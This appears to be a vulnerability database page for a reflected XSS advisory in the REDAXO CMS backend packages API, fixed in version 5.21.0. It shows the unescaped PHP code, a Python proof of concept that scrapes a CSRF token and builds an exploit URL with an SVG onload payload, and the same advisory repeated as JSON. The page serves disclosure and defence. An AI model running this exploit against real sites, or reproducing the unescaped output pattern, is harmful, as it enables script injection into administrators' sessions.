GHSA-XQ4J-G85Q-WF97

Vulnerability from github – Published: 2026-04-10 19:40 – Updated: 2026-04-10 19:40
VLAI
Summary
REDAXO has reflected XSS backend packages API via function parameter (CSRF token required)
Details

Summary

A reflected XSS vulnerability has been identified in the REDAXO backend. The function parameter is concatenated into an API error message and rendered without HTML escaping.


Details

Root cause User input function is injected into an exception message, then rendered by rex_view::error() which delegates to rex_view::message() without HTML escaping.

Vulnerable code (redaxo/src/core/lib/packages/api_package.php) :

$function = rex_request('function', 'string');
throw new rex_api_exception('Unknown package function "' . $function . '"!');

Sink (redaxo/src/core/lib/view.php) :

return '<div class="' . $cssClassMessage . '">' . $message . '</div>';

Source -> sink flow

  • Source: function (GET)
  • Propagation: concatenated into the exception message
  • Sink: rendered via rex_view::error() -> rex_view::message() without escaping

Authentication required: yes (backend session)


PoC - Exploit

#!/usr/bin/env python3
import re
import urllib.parse
import requests

TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"

# A valid backend PHP session id (must belong to a user who can access the Packages page)
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx

https://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598

"

VERIFY_SSL = False
TIMEOUT = 15

PAYLOAD = '\\"><svg/onload=alert("Pwned")>'

def build_backend_url() -> str:
    base = TARGET_URL.rstrip('/')
    return f"{base}/{BACKEND_PATH.lstrip('/')}"


def extract_api_csrf(html_text: str) -> str:
    m = re.search(r'rex-api-call=package[^\"]+_csrf_token=([^&\"\s]+)', html_text)
    if not m:
        raise RuntimeError("CSRF token for rex_api_call=package was not found in the page HTML.")
    return m.group(1)

def set_session_cookie(session: requests.Session) -> None:
    parsed = urllib.parse.urlparse(TARGET_URL)
    if parsed.hostname:
        session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")


def main() -> None:
    backend_url = build_backend_url()

    s = requests.Session()
    set_session_cookie(s)

    # Backend session required (role with access to packages)
    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
    if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
        print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
        return

    r = s.get(backend_url, params={"page": "packages"}, timeout=TIMEOUT, verify=VERIFY_SSL)
    if r.status_code != 200:
        print(f"[!] Failed to access packages page (HTTP {r.status_code}).")
        return

    api_token = extract_api_csrf(r.text)

    params = {
        "page": "packages",
        "rex-api-call": "package",
        "function": PAYLOAD,
        "package": "nonexistent",
        "_csrf_token": api_token,
    }

    exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
    print(exploit_url)


if __name__ == "__main__":
    main()

To run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link.


Impact

  • Confidentiality: Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
  • Integrity: Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
  • Availability: Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.

Demo

https://github.com/user-attachments/assets/41d0186a-7ca0-4482-86c5-8bea6c8f6ac6

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "redaxo/source"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:40:42Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n\nA **reflected XSS** vulnerability has been identified in the REDAXO backend. The `function` parameter is concatenated into an API error message and rendered without HTML escaping.\n\n---\n\n### Details\n\n**Root cause**\nUser input `function` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping.\n\n**Vulnerable code (`redaxo/src/core/lib/packages/api_package.php`) :**\n\n```php\n$function = rex_request(\u0027function\u0027, \u0027string\u0027);\nthrow new rex_api_exception(\u0027Unknown package function \"\u0027 . $function . \u0027\"!\u0027);\n```\n\n**Sink (`redaxo/src/core/lib/view.php`) :**\n\n```php\nreturn \u0027\u003cdiv class=\"\u0027 . $cssClassMessage . \u0027\"\u003e\u0027 . $message . \u0027\u003c/div\u003e\u0027;\n```\n\n**Source -\u003e sink flow**\n\n* Source: `function` (GET)\n* Propagation: concatenated into the exception message\n* Sink: rendered via `rex_view::error()` -\u003e `rex_view::message()` without escaping\n\n**Authentication required:** yes (backend session)\n\n---\n\n### PoC - Exploit\n\n```python\n#!/usr/bin/env python3\nimport re\nimport urllib.parse\nimport requests\n\nTARGET_URL = \"http://poc.local/\"\nBACKEND_PATH = \"redaxo/index.php\"\n\n# A valid backend PHP session id (must belong to a user who can access the Packages page)\nSESSION_ID = \"xxxxxxxxxxxxxxxxxxxxx\n\nhttps://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598\n\n\"\n\nVERIFY_SSL = False\nTIMEOUT = 15\n\nPAYLOAD = \u0027\\\\\"\u003e\u003csvg/onload=alert(\"Pwned\")\u003e\u0027\n\ndef build_backend_url() -\u003e str:\n    base = TARGET_URL.rstrip(\u0027/\u0027)\n    return f\"{base}/{BACKEND_PATH.lstrip(\u0027/\u0027)}\"\n\n\ndef extract_api_csrf(html_text: str) -\u003e str:\n    m = re.search(r\u0027rex-api-call=package[^\\\"]+_csrf_token=([^\u0026\\\"\\s]+)\u0027, html_text)\n    if not m:\n        raise RuntimeError(\"CSRF token for rex_api_call=package was not found in the page HTML.\")\n    return m.group(1)\n\ndef set_session_cookie(session: requests.Session) -\u003e None:\n    parsed = urllib.parse.urlparse(TARGET_URL)\n    if parsed.hostname:\n        session.cookies.set(\"PHPSESSID\", SESSION_ID, domain=parsed.hostname, path=\"/\")\n\n\ndef main() -\u003e None:\n    backend_url = build_backend_url()\n\n    s = requests.Session()\n    set_session_cookie(s)\n\n    # Backend session required (role with access to packages)\n    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)\n    if \"rex-page-login\" in r0.text or \"rex_user_login\" in r0.text:\n        print(\"[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.\")\n        return\n\n    r = s.get(backend_url, params={\"page\": \"packages\"}, timeout=TIMEOUT, verify=VERIFY_SSL)\n    if r.status_code != 200:\n        print(f\"[!] Failed to access packages page (HTTP {r.status_code}).\")\n        return\n\n    api_token = extract_api_csrf(r.text)\n\n    params = {\n        \"page\": \"packages\",\n        \"rex-api-call\": \"package\",\n        \"function\": PAYLOAD,\n        \"package\": \"nonexistent\",\n        \"_csrf_token\": api_token,\n    }\n\n    exploit_url = f\"{backend_url}?{urllib.parse.urlencode(params)}\"\n    print(exploit_url)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nTo run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link.\n\n---\n\n### Impact\n\n* **Confidentiality:** Low :  no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim\u2019s session.\n* **Integrity:** Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.\n* **Availability:** Low :  the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.\n\n### Demo\nhttps://github.com/user-attachments/assets/41d0186a-7ca0-4482-86c5-8bea6c8f6ac6",
  "id": "GHSA-xq4j-g85q-wf97",
  "modified": "2026-04-10T19:40:42Z",
  "published": "2026-04-10T19:40:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/redaxo/core/security/advisories/GHSA-xq4j-g85q-wf97"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/redaxo/core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/redaxo/core/releases/tag/5.21.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "REDAXO has reflected XSS backend packages API via function parameter (CSRF token required)"
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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